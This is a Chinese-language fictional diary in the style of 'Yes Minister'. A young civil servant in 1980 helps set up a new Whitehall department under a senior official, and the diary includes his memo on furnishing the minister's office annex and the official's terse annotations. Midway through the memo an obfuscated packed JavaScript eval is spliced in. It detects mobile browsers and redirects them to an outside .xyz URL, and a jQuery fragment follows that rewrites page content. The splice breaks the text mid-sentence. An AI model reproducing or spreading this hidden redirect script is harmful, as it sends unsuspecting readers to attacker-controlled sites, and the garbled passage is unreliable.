【幕间】S01E00.5 西里尔的日记及备忘录(1980.1.19-21)
1980年1月19日,星期六 | 伦敦,皮姆利科 | 阴冷,薄雾
星期六的早晨,本该是难得的清闲。
然而,刚过八点,门铃响了。
一位内阁办公厅的通讯员递给我一份密封文件袋,封口处盖着醒目的内阁办公厅印章。
拆开,是调令。措辞简洁高效,带着不容置疑的权威:
“西里尔·埃斯利先生,即日起临时借调至协同协调部(Department of Synergy Coordination, DSC)筹备组,协助框架搭建与初期运作。即刻生效。负责人:阿利斯泰·卡文迪许(Alistair Cavendish)。”
协同协调部……这个名字在白厅的走廊里已经悄悄流传了一天,一个悬浮议会妥协下的新生儿,名字拗口得像个学术课题。而我,一个在文官阶梯上刚爬到主管官(Principal)没多久的年轻人,竟被直接抽调到它的核心筹备组,还直接向他汇报。
关于他的传说,年轻文官们私下里已讲过太多。不是因为他那个显赫的姓氏——尽管那确实是个话题——而是因为他令人目眩的晋升速度和那些流传甚广的故事:如何在能源部预算审查中,仅凭一份逻辑缜密的备忘录就逆转了整个项目方向;如何在一次棘手的跨部门协调中,让几位资历远高于他的常任秘书心服口服地让步;以及他那份永远冷静、精准、仿佛能洞悉一切迷雾的……存在感。
当然,还有那些关于他如何“擦拭银汤匙”的议论。总有人酸溜溜地认为他的晋升得益于出身,却选择性忽视他每一步都踩在无可辩驳的功绩上。我知道他……不太喜欢那个头衔,私下里了解过一些,似乎与他早年遭遇的、因贵族身份带来的隐形排挤有关。在白厅,一把银汤匙若不能自己打磨成金,反而会成为负担。而他显然深谙此道,并将其淬炼成了武器。
在财政部短暂轮岗时,我有幸在他团队的下属部门短暂工作过。远远观察过几次他主持会议的样子,安静、锋利、没有赘词——像把刀稳稳地放在桌上,光不耀眼,却让人不轻易伸手。“银汤匙要靠金履历擦拭,才不刺眼。”这话从别人口里是讥笑,从他口里像原则。
其实或许还要更早些,在牛津贝利奥尔,我还是个本科生时,就见识过他的风采。那时他应该是财政部负责教育支出审查的官员,来学院做非正式咨询,一场关于教育预算的听证会。一个小秘密,正是那次旁听,让我最终下定决心报考文官。
但敬仰归敬仰,此刻更多的还是忐忑。被借调去建设一个全新部门的框架?这责任远超我目前的层级。
但“即刻生效”。
周末泡汤了,收拾,报到。
——
——
——
1980年1月20日,星期日 | 伦敦,皮姆利科 | 寒冷,雾气弥漫
星期日,本该是安静的,除非你被卷进一个新部门的诞生漩涡里。
今天是我被调任参与建设DSC的第二天。
办公室的门虚掩着,推门进去,他已经在里面了,比通知的时间还早。这倒不意外。
他站在窗边,背对着门,看着外面灰蒙蒙、雾气笼罩的白厅街景。剪裁完美的炭灰色三件套,身形挺拔而略显清瘦,铂金色的短发在缺乏阳光的室内泛着冷调的光泽。
房间里只有一张临时搬来的办公桌,几把椅子,一个空荡荡的文件柜,还有角落里一个冒着微弱热气的电暖炉——显然不足以驱散这老建筑骨髓里的寒意——是了,昨天一天筹备组都在忙着完善更重要的部分,没能关照到Sir的办公室。
“埃斯利先生。”他没有回头,声音平稳低沉,带着独特的韵律感,穿透了房间的寂静。“准时是国王的礼节,文官的职责(Punctuality is the politeness of kings, and the duty of civil servants. )。很好。”
“Morning, Sir.”我努力让声音听起来同样平稳,放下公文包。
他转过身,灰绿色的眼睛看过来,那目光带着一种评估的意味。
没有多余的寒暄:“内阁办公厅提供的PPS候选人短名单在你桌上。我需要你在中午前完成初步筛选,标注出你认为最合适的三位,并附上简要理由。重点是:谨慎、组织能力、以及对白厅生态的理解。”
他顿了顿,“另外,这是大臣办公室的初步布局方案。”他递过来一张手绘的草图,线条简洁精准,标明了办公桌、访客区、文件柜的位置,甚至预留了一面空白的墙。“大臣的喜好未知,但基础功能必须齐备。优先确保电话线路畅通、收发文系统到位。具体装饰细节,”他嘴角似乎有一丝极淡的弧度,“等我们的大臣阁下莅临后再议。效率是关键,埃斯利先生,我们时间有限。”
任务清晰、直接,不容置疑。这正是他的风格。没有对新部门的宏伟蓝图演讲,只有亟待执行的具体事项,反而让我松了口气。行动,总比无谓的猜测要好。
整个上午都在忙碌中度过。筛选PPS候选人名单需要快速回忆和判断每个人的背景、口碑和可能的适配性。同时还要协调后勤和资产管理司,确保基础办公设施能在明天大臣到岗前勉强就位。电话、桌椅、最基本的文具……每件事都需要沟通协同,而“协同协调部”此刻自身却像个蹒跚学步的婴儿。讽刺感十足。
午餐是匆匆解决的三明治。回来时,Sir还在他的临时办公桌前,面前摊开几份卷宗,左手拿着钢笔快速批注着。他头也没抬:“埃斯利,关于大臣办公室里间的配置,我需要你的建议。常规选项是储藏和小型接待。但考虑到DSC的……特殊性,是否有其他潜在用途需要提前规划?写份简要备忘录给我。”
我自然应下,打算出去到分配给我的小隔间完成这份任务时,Sir叫住了我,他说,就在这里完成它。
“Yes, Sir.”我立刻坐下,开始构思。
这看似简单的问题,却让我思考了很久。DSC的特殊性?它的模糊性本身就是最大的特殊性。一个被各方视为安置花瓶的新部门,大臣会如何利用这个空间?仅仅是储藏大衣和文件?还是可能进行更私密的、非正式的谈话?我试图站在一个尚未谋面的大臣角度思考,最终在备忘录里列出了几种可能性,并倾向于保持灵活性。
临近傍晚,我终于将那份关于里间的备忘录放在了他的办公桌一角,放在午前就提交的筛选好的PPS名单旁:
备忘录(MEMORANDUM)
协同协调部筹备组 - Department of Synergy Coordination(Establishment Project)
编号(Ref):DSC/EP/INT/002/80
收件人(To):A. Cavendish
发件人(From):C. Astley
日期(Date):20 January 1980
主题(Subject):大臣办公室附属里间配置建议(Configuration Options for Minister''s Office Annex)
Mr. Cavendish,
关于大臣办公室附属里间的配置,经初步考虑,提出以下选项供您审阅:
1、标准储藏/茶水间(Standard Store/Pantry):
优点:实用性强,符合常规设置。可存放大臣外套、文件箱、书籍,并配备小型水槽、橱柜,用于准备茶水、咖啡及简单茶点(饼干等)。成本低,易于快速布置。
缺点:功能单一,空间利用率可能不高。私密性不足,仅适合短暂休憩或与一两名亲近幕僚的非正式交谈。
2、增强型私密会客室(Enhanced Private Meeting Room):
优点:提供更高私密性,适合大臣与特定访客(如同僚、高级文官、需谨慎对待的利益相关方)进行更深入或敏感的谈话。可配备更舒适的座椅、小茶几。提升大臣工作环境的舒适度和功能性,可能更契合DSC未来可能涉及的协调性工作(常涉及敏感或初步讨论)。
缺点:需额外预算购置家具(沙发、茶几
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294765|182690||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
等)。占用空间稍多。可能被视为“过于舒适”或超出新部门初始配置的常规范围,引发不必要的关注或议论。
3、混合配置(Hybrid Configuration):
建议:以标准储藏/茶水功能为基础(保证实用性),但选用更简洁、体面的内置橱柜(可上锁),并预留电源点位。初期仅放置必要的储藏架和茶水设备。保留空间核心区域的灵活性,不固定摆放大型家具(如沙发)。
优点:平衡实用性与未来扩展性。成本可控(初期投入与选项1相当)。可根据大臣实际使用习惯和部门运作需求,在未来几周/月内灵活调整:若需更多私密会谈空间,可轻松添加一两把舒适扶手椅和小边桌;若主要用作储藏,空间也足够。避免初期过度投入于可能闲置的功能。
理由:鉴于DSC职能的独特性和尚待明确,以及大臣个人工作风格的未知性,提供最大灵活性似为审慎之举。既可满足基本需求,又能快速响应后续变化。
建议:倾向选项3混合配置。优先确保基础功能(储藏、简单茶水)就绪,空间核心保持空旷灵活,为未来可能的私密谈话需求预留改造余地,同时控制初期成本与观感。
请指示。
Cyril Astley
他拿起备忘录,快速扫了一眼,拿起他那支看起来颇有年头的深绿色钢笔,在页边空白处利落地写了几行字。
“Sir?”我忍不住轻声问,带着些完成任务的期待和紧张。
他没有立刻回答,而是将批注好的备忘录递还给我。他的字迹流畅而有力,带着古典的美感,但批注的内容却让我瞬间清醒:
分析全面,但过度详尽。核心是功能与灵活性。【在“分析全面”下划了线(Underlined)。】
避免将备忘录写成私人日记(Avoid conflating memo with personal diary.)。聚焦可执行选项。【圈住了“潜在用途”和部分分析性描述(Circled)。】
采纳建议:基础配置,预留调整空间。执行。
记住,每个字都可能是记录。简洁是美德,模糊是护甲。(Remember, every word is potentially minuted. Brevity is a virtue; ambiguity, armour.)
A.C. 20.01.80
最后那句批语像一记警钟,Sir在提醒我文官世界的生存法则。我的分析或许细致,但在他看来却失于冗长。因为在白厅,过度的细节有时反而是负担和破绽。他总能一针见血。我脸上一阵发热,这是被当场纠正的专业挫败感,但也混杂着一种……被纳入某种严苛标准的奇异感觉。
“明白了吗,埃斯利先生?”他端起手边的茶杯——不知何时送来的,茶色很深,热气几乎看不见——抿了一口,目光依旧平静无波。
“Yes, Sir. 简洁与灵活,我会记住。”我深吸一口气,收起那份沉甸甸的、被批注过的备忘录。它像一份最直接的入职手册。
“很好。”他放下茶杯,杯底接触桌面发出轻微而清脆的声响。“明天,我们的主角就要登场了,确保一切就绪。你的首要任务是引导他顺利进入角色,并……”他停顿了一下,灰绿的眼眸深处似乎有什么东西闪动了一下,“……观察。你的角色将是DSC信息流的关键节点,西里尔。”
他叫我西里尔。
我知道我被留任了,作为PPS的候选人——有力候选人。
临走之前,Sir写了张便笺给我:
Cyril,
明日重点,流程顺畅与第一印象。确保大臣顺利抵达、环境清楚、感受到初步的“可用”。观察,记录任何特殊要求或习惯。如涉及政策,请引至内阁办材料或直接转我。
另,注意到气象预报明日晨间气温较低,提醒司机确保车内供暖充足。
效率和得体是关键,不卑不亢,避免过度承诺,展现可塑性。
不必紧张。
A.C. 20.01.80
我将便笺和那张写了批注的备忘录收在一起。